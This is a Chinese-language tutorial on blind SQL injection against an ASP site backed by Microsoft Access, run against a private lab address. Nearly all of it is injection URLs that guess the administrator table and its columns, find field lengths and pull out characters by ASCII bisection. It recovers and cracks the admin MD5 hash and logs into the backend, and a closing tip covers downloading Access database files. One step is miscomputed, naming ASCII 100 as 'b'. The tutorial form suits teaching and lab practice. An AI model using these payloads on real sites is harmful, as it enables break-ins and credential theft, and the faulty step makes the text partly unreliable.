目录
Access注入攻击案例
猜解数据库表名和字段
继续猜测字段并提交
猜解字段长度
猜解字段内容
Access注入攻击案例
漏洞链接地址为:http://192.168.1.55:901/news_view.asp?id=14 分别提交“and 1=1”和"and 1=2"返回不同页面,说明存在注入漏洞:如下
猜解数据库表名和字段
首先来猜解数据库表名,提交如下网址。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)
返回错误信息,说明users表不存在,继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from admin)
还是返回错误信息,说明admin表不存在,继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from administrator)
返回正常页面,说明存在administrator表( 存在administrator表与不存在的表对比)
继续猜测字段并提交
http://192.168.1.55:901/news_view.asp?id=14 and exists(select username from administrator)
返回错误信息,说明不存在username字段,继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select user_name from administrator)
返回正常页面,administrator表中存在字段user_name
再提交:http://192.168.1.55:901/news_view.asp?id=14 and exists(select password from administrator)
返回正常页面,说明administrator表中存在字段password
猜解字段长度
再继续猜测第一个字段内容长度。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2 //正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5 //报错
说明administrator表中的user_name 字段长度为5
猜解字段内容
现在猜解字段内容并提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 //返回错误页面
说明字段对应的ASCll值在0和500之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 //返回错误页面
说明字段对应的ASCll值在0和100之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 //返回正常页面
说明字段对应的ASCll值在90和100之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 //返回正常页面
说明字段对应的ASCll值在96和100之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”接着第二位查询。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 //返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 //返回错误页面
当输入>100时报错
转换ASCll值得到第2字母为b
用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3
可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin。
破解出密码
得到管理员用户名和密码后,登录后台:http://192.168.1.55:901/admin/index.asp,输入猜解出来的用户名和密码.就可以成功进入网站后台页面。
(小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。)